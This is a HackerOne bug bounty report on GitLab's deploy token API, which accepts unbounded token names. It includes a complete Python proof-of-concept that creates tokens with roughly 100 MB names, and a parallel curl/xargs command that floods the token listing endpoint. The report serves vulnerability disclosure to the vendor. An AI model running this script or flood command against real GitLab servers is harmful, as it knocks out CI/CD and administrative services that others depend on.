GitLab Deploy Token Name Overflow: Unbounded Input Enables DoS Attack
HackerOne report #3049089 by pwnie on 2025-03-20, assigned to GitLab Team:
Report
Summary
GitLab’s deploy token creation API lacks a size limit on the deploy token name. This lets an attacker generate tokens with massive names, overwhelming the server when listing tokens and causing a Denial-of-Service (DoS).
Steps to Reproduce
-
Generate Inflated Deploy Token Names
Run the Python script below. It creates a deploy token with a name generated from a large amount of random data (e.g., 100 MB). The script supports both project and group tokens.#!/usr/bin/env python3 import argparse import requests import json import sys import os import base64 import re def create_deploy_token(args): """Create a deploy token for a GitLab project or group.""" # Generate the deploy token name: # 1. Generate n MB of random bytes. # 2. Base64-encode them. # 3. Strip out non-alphanumeric characters. n_bytes = int(args.mb * 1024 * 1024) random_bytes = os.urandom(n_bytes) encoded = base64.b64encode(random_bytes).decode('ascii') name_str = re.sub(r'[^a-zA-Z0-9]', '', encoded) # Determine if creating for a project or group if args.group_id: endpoint = f"{args.url}/api/v4/groups/{args.group_id}/deploy_tokens" id_type = "group" id_value = args.group_id else: endpoint = f"{args.url}/api/v4/projects/{args.project_id}/deploy_tokens" id_type = "project" id_value = args.project_id # Prepare request headers headers = { "PRIVATE-TOKEN": args.token, "Content-Type": "application/json" } # Prepare request data with generated name and provided scopes data = { "name": name_str, "scopes": args.scopes } # Add optional parameters if provided if args.expires_at: data["expires_at"] = args.expires_at if args.username: data["username"] = args.username # Make the API request try: response = requests.post(endpoint, headers=headers, data=json.dumps(data)) # Check if the request was successful if response.status_code in (200, 201): result = response.json() print(f"Deploy token created successfully for {id_type} {id_value}!") print(f"Token: {result['token']}") print(f"Username: {result['username']}") print(f"Expires at: {result.get('expires_at', 'Never')}") return 0 else: print(f"Error creating deploy token. Status code: {response.status_code}") print(f"Response: {response.text}") return 1 except requests.exceptions.RequestException as e: print(f"Error creating deploy token: {e}") if hasattr(e, 'response') and e.response is not None: print(f"Response: {e.response.text}") return 1 def main(): parser = argparse.ArgumentParser( description="Create a GitLab deploy token via API", epilog="""Example: python gitlab_deploy_token.py --url https://gitlab.example.com --token your_access_token --mb 100 --project-id 123 --scopes read_repository read_registry --expires-at 2023-12-31 """ ) # Required parameters parser.add_argument("--url", required=True, help="GitLab instance URL (e.g., https://gitlab.com)") parser.add_argument("--token", required=True, help="Your GitLab private token") parser.add_argument("--mb", required=True, type=float, help="Size in MB for generating the deploy token name from base64 data") # Project or group ID (one must be provided) group = parser.add_mutually_exclusive_group(required=True) group.add_argument("--project-id", help="ID or URL-encoded path of the project") group.add_argument("--group-id", help="ID or URL-encoded path of the group") # Scopes (at least one must be provided) parser.add_argument("--scopes", required=True, nargs="+", choices=["read_repository", "read_registry", "write_registry", "read_package_registry", "write_package_registry"], help="Scopes for the deploy token (at least one required)") # Optional parameters parser.add_argument("--expires-at", help="Expiration date for the token (ISO 8601 format: YYYY-MM-DD)") parser.add_argument("--username", help="Username for the deploy token") args = parser.parse_args() return create_deploy_token(args) if __name__ == "__main__": sys.exit(main()) -
Create Multiple Tokens
Run the script several times (e.g., 10 times) with a high MB value (e.g., 100 MB) to generate deploy tokens with enormous names. -
Trigger the DoS
Load the deploy tokens listing endpoint to process the oversized names. For example:seq 100 | xargs -P 20 -I {} curl "http://localhost/api/v4/projects/1/deploy_tokens" --H 'PRIVATE-TOKEN: <YOUR_PRIVATE_TOKEN>'
Impact
-
Denial-of-Service (DoS):
Inflated deploy token names force the server to handle massive amounts of data, leading to resource exhaustion and potential DoS. -
Service Disruption:
In production, this vulnerability could block access to deploy token listings, disrupting CI/CD pipelines and administrative operations.
Impact
-
Denial-of-Service (DoS):
Inflated deploy token names force the server to handle massive amounts of data, leading to resource exhaustion and potential DoS. -
Service Disruption:
In production, this vulnerability could block access to deploy token listings, disrupting CI/CD pipelines and administrative operations.
How To Reproduce
Please add reproducibility information to this section: